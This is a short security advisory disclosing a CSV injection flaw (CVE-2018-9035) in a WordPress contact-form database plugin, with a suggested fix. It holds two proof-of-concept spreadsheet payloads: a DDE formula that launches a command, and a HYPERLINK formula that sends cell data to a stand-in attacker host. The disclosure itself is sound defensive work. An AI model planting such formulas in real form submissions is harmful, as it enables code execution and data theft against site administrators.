WordPress Contact Form 7 To Database Extension 2.10.32 CSV Injection

WordPress Contact Form 7 to Database Extension plugin version 2.10.32 suffers from a CSV injection vulnerability.

MD5 | d056556b41893a0bc49c21fed4a47543

# Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection
# Date: 23-03-2018
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: None
# Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension
# Version: 2.10.32
# CVE : CVE-2018-9035
# Category : webapps

Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability.

Vulnerable part of code
File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula.

Arbitrary formulas can be injected into CSV/Excel files.
This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.

Proof of Concept
In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated.


=cmd|'/C calc.exe'!Z0


=HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!")


The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats.

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